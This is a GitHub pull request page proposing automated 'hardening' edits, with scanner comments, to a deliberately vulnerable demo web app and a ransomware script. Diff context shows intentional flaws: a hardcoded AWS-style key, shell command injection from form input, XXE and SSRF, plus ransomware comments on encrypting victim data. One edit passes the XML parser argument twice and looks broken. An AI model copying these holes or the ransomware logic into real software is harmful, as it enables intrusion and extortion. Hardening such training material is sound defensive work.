-
Notifications
You must be signed in to change notification settings - Fork 230
Hardening suggestions for insecure-kubernetes-deployments / empty #62
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
476193e
2b1a8c7
c1e6d5b
044130a
9791ab7
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -2,8 +2,9 @@ | |
| import subprocess | ||
| import os | ||
| import sqlite3 | ||
| import requests | ||
| from lxml import etree | ||
| import lxml.etree | ||
| from security import safe_command, safe_requests | ||
|
|
||
| # Example hardcoded AWS credentials (sensitive data leakage) | ||
| aws_access_key_id = 'AKIA2JAPX77RGLB664VE' | ||
|
|
@@ -28,7 +29,7 @@ def index(): | |
| # 2 - Command Injection | ||
| if 'command' in request.form: | ||
| cmd = request.form['command'] | ||
| process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | ||
| process = safe_command.run(subprocess.Popen, cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | ||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Replaces subprocess.{func} with more secure safe_command library functions. |
||
| stdout, stderr = process.communicate() | ||
| if process.returncode == 0: | ||
| output = stdout.decode('utf-8') | ||
|
|
@@ -67,8 +68,8 @@ def index(): | |
| xml_data = request.form['xml'] | ||
| try: | ||
| # Use lxml to parse the XML data | ||
| parser = etree.XMLParser(load_dtd=True, resolve_entities=True) | ||
| tree = etree.fromstring(xml_data.encode(), parser) | ||
| parser = etree.XMLParser(load_dtd=True, resolve_entities=False) | ||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Call
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Replace |
||
| tree = etree.fromstring(xml_data.encode(), parser, parser=lxml.etree.XMLParser(resolve_entities=False)) | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Security control: Static Code Analysis Python Semgrep Type: Potential Xxe Vulnerability With Native Python Xml Libraries Description: Found use of the native Python XML libraries, which is vulnerable to XML external entity (XXE) Severity: HIGH Jit Bot commands and options (e.g., ignore issue)You can trigger Jit actions by commenting on this PR review:
|
||
| output = f"Parsed XML: {etree.tostring(tree, encoding='unicode')}" | ||
| except Exception as e: | ||
| output = f"XML Parsing Error: {e}" | ||
|
|
@@ -77,7 +78,7 @@ def index(): | |
| elif 'url' in request.form: | ||
| url = request.form['url'] | ||
| try: | ||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Add timeout to |
||
| response = requests.get(url) | ||
| response = safe_requests.get(url, timeout=60) | ||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Switch use of requests for security.safe_requests |
||
| output = f"SSRF Response: {response.text[:200]}" | ||
| except Exception as e: | ||
| output = f"SSRF Error: {e}" | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -50,7 +50,7 @@ def __init__(self): | |
| self.localRoot = r'D:\Coding\Python\RansomWare\RansomWare_Software\localRoot' # Debugging/Testing | ||
|
|
||
| # Get public IP of person, for more analysis etc. (Check if you have hit gov, military ip space LOL) | ||
| self.publicIP = requests.get('https://api.ipify.org').text | ||
| self.publicIP = requests.get('https://api.ipify.org', timeout=60).text | ||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Add timeout to |
||
|
|
||
|
|
||
| # Generates [SYMMETRIC KEY] on victim machine which is used to encrypt the victims data | ||
|
|
@@ -254,4 +254,4 @@ def main(): | |
|
|
||
|
|
||
| if __name__ == '__main__': | ||
| main() | ||
| main() | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,4 +1,5 @@ | ||
| requests == 2.19.1 | ||
| cryptography==3.3.2 | ||
| flask==3.0.2 | ||
| #cryptograpy==3.3.2 | ||
| #cryptograpy==3.3.2 | ||
| security==1.3.1 | ||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This library holds security tools for protecting Python API calls. License: MIT ✅ Open Source ✅ More facts |
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -11,7 +11,7 @@ | |
| def query(payload, model_id, api_token): | ||
| headers = {"Authorization": f"Bearer {api_token}"} | ||
| API_URL = f"https://api-inference.huggingface.co/models/{model_id}" | ||
| response = requests.post(API_URL, headers=headers, json={"inputs": payload}) | ||
| response = requests.post(API_URL, headers=headers, json={"inputs": payload}, timeout=60) | ||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Add timeout to |
||
| response_text = response.text | ||
|
|
||
| sanitized_response_text, results_valid, results_score = scan_output( | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Security control: Static Code Analysis Python Semgrep
Type: Potential Xxe Vulnerability With Native Python Xml Libraries
Description: Found use of the native Python XML libraries, which is vulnerable to XML external entity (XXE)
attacks. The Python documentation recommends the 'defusedxml' library instead. Use 'defusedxml'.
See https://github.com/tiran/defusedxml for more information.
Severity: HIGH
Learn more about this issue
Jit Bot commands and options (e.g., ignore issue)
You can trigger Jit actions by commenting on this PR review:
#jit_ignore_fpIgnore and mark this specific single instance of finding as “False Positive”#jit_ignore_acceptIgnore and mark this specific single instance of finding as “Accept Risk”#jit_ignore_type_in_fileIgnore any finding of type "Potential XXE vulnerability with native Python XML libraries" in insecure-app/app.py; future occurrences will also be ignored.#jit_undo_ignoreUndo ignore command